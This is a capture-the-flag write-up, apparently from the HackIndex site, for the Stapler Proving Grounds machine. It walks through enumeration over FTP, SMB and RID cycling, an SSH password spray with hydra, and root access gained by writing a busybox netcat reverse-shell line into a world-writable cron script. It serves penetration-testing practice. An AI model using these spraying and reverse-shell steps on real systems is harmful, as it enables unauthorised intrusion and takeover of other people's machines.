Skip to content
HackIndex logo

HackIndex

Stapler Writeup - Proving Grounds

Medium Linux
Proving Grounds Discuss on Discord

Last updated July 14, 2026 • 4 min read

Joshua

HackIndex Creator

Discovery

The full TCP scan returns eight open ports. FTP on 21 allows anonymous login, SSH on 22, DNS on 53, HTTP on both 80 and 12380, Samba on 139, MySQL on 3306, and something serving a ZIP file on port 666.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4
53/tcp    open  tcpwrapped
80/tcp    open  http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu
666/tcp   open  pkzip-file  .ZIP file
3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1
12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))

Enumeration

Port 666 — ZIP File

Connecting to port 666 streams raw ZIP data. Redirect it to a file and extract it:

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP 666 > idk.zip
┌──(kali㉿kali)-[~]
└─$ unzip idk.zip 
Archive:  idk.zip
  inflating: message2.jpg

The image contains the message: Scott, please change this message. — a potential username.

HTTP on Port 80

The PHP dev server on port 80 returns 404 for the root, but directory enumeration finds .bashrc and .profile served directly — the web root is someone's home directory. The FTP banner also names Harry. The page on port 12380 contains usernames in its HTML source and headers:

┌──(kali㉿kali)-[~]
└─$ curl -I http://$TARGET_IP:12380/ 
HTTP/1.1 400 Bad Request
Server: Apache/2.4.18 (Ubuntu)
Dave: Soemthing doesn't look right here

The page title and an HTML comment expose additional names: Tim, Dave, and Zoe.

FTP — Anonymous Login

Anonymous FTP login works. A note file is available in the root directory:

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP 
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
Name: anonymous
331 Please specify the password.
Password:
230 Login successful.
ftp> get note
226 Transfer complete.
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

Additional usernames: Elly and John.

SMB Enumeration

Null session enumeration via smbclient reveals two readable shares: kathy and tmp. The kathy share contains a backup directory with a vsftpd.conf and a WordPress 4 tarball.

┌──(kali㉿kali)-[~]
└─$ smbclient -L //$TARGET_IP -N 
Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
kathy           Disk      Fred, What are we doing here?
tmp             Disk      All temporary files should be stored here
IPC$            IPC       IPC Service (red server (Samba, Ubuntu))

The share comment names another user: Fred. Download all files from the kathy share:

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/kathy -U kathy -c 'prompt OFF; recurse ON; mget *' 
getting file \kathy_stuff\todo-list.txt
getting file \backup\vsftpd.conf
getting file \backup\wordpress-4.tar.gz

User Enumeration via RID Cycling

RID cycling via enum4linux enumerates all local Unix users through the S-1-22-1 SID, yielding a full list of 29 accounts to build a username list from.

┌──(kali㉿kali)-[~]
└─$ enum4linux -a $TARGET_IP 
[+] Enumerating users using SID S-1-22-1
S-1-22-1-1000 Unix User\peter
S-1-22-1-1001 Unix User\RNunemaker
S-1-22-1-1002 Unix User\ETollefson
S-1-22-1-1003 Unix User\DSwanger
S-1-22-1-1004 Unix User\AParnell
S-1-22-1-1005 Unix User\SHayslett
S-1-22-1-1006 Unix User\MBassin
S-1-22-1-1007 Unix User\JBare
<snip>
S-1-22-1-1028 Unix User\www
S-1-22-1-1029 Unix User\elly

Initial Access

With a list of 37 usernames, spray SSH using each username as its own password. Hydra finds a hit quickly:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -P users.txt ssh://$TARGET_IP -t 6 
[22][ssh] host: 192.168.136.148   login: SHayslett   password: $SHAYSLETT_PASSWORD
┌──(kali㉿kali)-[~]
└─$ ssh SHayslett@$TARGET_IP 
[email protected]'s password:
Welcome back!
SHayslett@red:~$

Privilege Escalation

LinPEAS highlights a world-writable cron script that runs as root every five minutes:

user@host ~ $ cat /etc/cron.d/logrotate 
*/5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh
user@host ~ $ ls -la /usr/local/sbin/cron-logrotate.sh 
-rwxrwxrwx 1 root root 0 Jun  4  2016 /usr/local/sbin/cron-logrotate.sh

The script is world-writable. Overwrite it with a reverse shell payload and wait up to five minutes for the cron to fire:

user@host ~ $ echo "busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash" > /usr/local/sbin/cron-logrotate.sh
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [192.168.45.213] from (UNKNOWN) [192.168.136.148] 50060
whoami
root

Root shell obtained when the cron fires.

Related

FTP Anonymous Access Enumeration
Blog

FTP Anonymous Access Enumeration

Enumerate FTP servers allowing anonymous login to discover exposed files, directories, and sensitive...
SMB Null Session Enumeration
Blog

SMB Null Session Enumeration

Exploit unauthenticated SMB null sessions to enumerate shares, users, groups, and domain info using...
SMB User and Domain Enumeration
Blog

SMB User and Domain Enumeration

Enumerate valid users and domain information from SMB shares using tools like enum4linux, rpcclient,...
MSRPC SID Brute Forcing
Blog

MSRPC SID Brute Forcing

Enumerate valid Windows SIDs via MSRPC using brute-force techniques to discover user accounts, group...

References